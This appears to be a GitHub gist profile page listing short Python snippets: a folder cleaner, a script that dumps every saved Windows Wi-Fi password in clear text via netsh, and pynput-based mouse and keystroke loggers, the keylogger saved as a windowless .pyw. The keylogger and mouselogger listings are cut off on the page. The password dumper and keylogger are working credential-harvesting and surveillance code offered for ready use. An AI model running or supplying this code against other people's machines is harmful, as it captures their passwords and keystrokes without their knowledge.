Skip to content

Instantly share code, notes, and snippets.

View brentvollebregt's full-sized avatar

Brent Vollebregt brentvollebregt

View GitHub Profile
@brentvollebregt
brentvollebregt / get_wifi_passwords.py
Last active April 18, 2025 09:04
Will find each network profile on a Windows machine and print the profile and password
import subprocess
a = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8', errors="ignore").split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
for i in a:
try:
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8', errors="ignore").split('\n')
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
try:
print ("{:<30}| {:<}".format(i, results[0]))
@brentvollebregt
brentvollebregt / clean_folders.py
Created April 11, 2017 02:51
Remove all empty folder in a given directory
import os
import errno
folder_to_scan_and_delete = "C:/Users/Owner/Desktop/Folder Simulation/" # Remember '/' not '\', also make sure to end with '/'
show_ignored = True
show_deleted = True
deleted = 0
for root, dirs, files in os.walk(folder_to_scan_and_delete, topdown=False):
for name in dirs:
@brentvollebregt
brentvollebregt / mouselogger.py
Created April 11, 2017 02:49
A Python 3 mouselogger using the pynput module
# From: https://github.com/moses-palmer/pynput
from pynput.mouse import Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "mouse_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')
def on_click(x, y, button, pressed):
if pressed:
@brentvollebregt
brentvollebregt / keylogger.pyw
Created April 11, 2017 02:48
A Python 3 keylogger using the pynput module
# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')
def on_press(key):
logging.info('"{0}"'.format(key))